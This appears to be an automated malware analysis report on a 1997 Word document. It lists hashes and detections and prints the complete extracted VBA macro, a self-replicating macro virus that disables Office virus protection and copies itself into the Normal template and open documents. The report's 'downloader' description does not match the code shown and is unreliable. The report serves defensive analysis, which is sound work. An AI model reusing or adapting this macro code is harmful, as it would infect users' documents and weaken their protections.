Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a556e9fa45ddd94e…

MALICIOUS

Office (OLE)

36.0 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 19a8568b13d7acf2e0bacec7ec4cd5c6 SHA-1: c2a961e1e921ebc6b99ae8d47fa33c9349603580 SHA-256: a556e9fa45ddd94e8bb0ea947e740188ca73ea7f73da0c09cac622b29d744741
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains VBA macros that are designed to disable virus protection within the Office application. The extracted artifact was flagged by ClamAV as Win.Trojan.C-286, indicating a known malicious component. The macro code attempts to modify application options and execute embedded code, suggesting it acts as a downloader or initial execution vector.

Heuristics 1

  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1179 bytes
SHA-256: 36d33149b28b7df8d7f2c9d99f0b965f5755d5000ffc501ea02738f1978c4f74
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Option Explicit
Private strCode As String
Private Sub Document_Close()
With Options
.SaveNormalPrompt = False
.VirusProtection = False
End With
Dim tdCode As Object
Set tdCode = GetCodeModule(ThisDocument)
With tdCode
strCode = .Lines(1, .CountOfLines)
End With
If ThisDocument = NormalTemplate Then
With ActiveDocument
If .Path <> vbNullString Then
SendCode ActiveDocument
.Save
End If
End With
Else
SendCode NormalTemplate
End If
If Day(Now) = 13 Then
MsgBox "Ïðèâåò! À ÿ - âèðóñ!", vbExclamation + vbOKOnly, "Ñîîáùåíèå"
End If
End Sub
Private Function GetCodeModule(objProject As Object) As Object
Set GetCodeModule = objProject.VBProject.VBComponents(1).CodeModule
End Function
Private Sub SendCode(objProject As Object)
Dim objCode As Object
Set objCode = GetCodeModule(objProject)
With objCode
.DeleteLines 1, .CountOfLines
.AddFromString strCode
End With
End Sub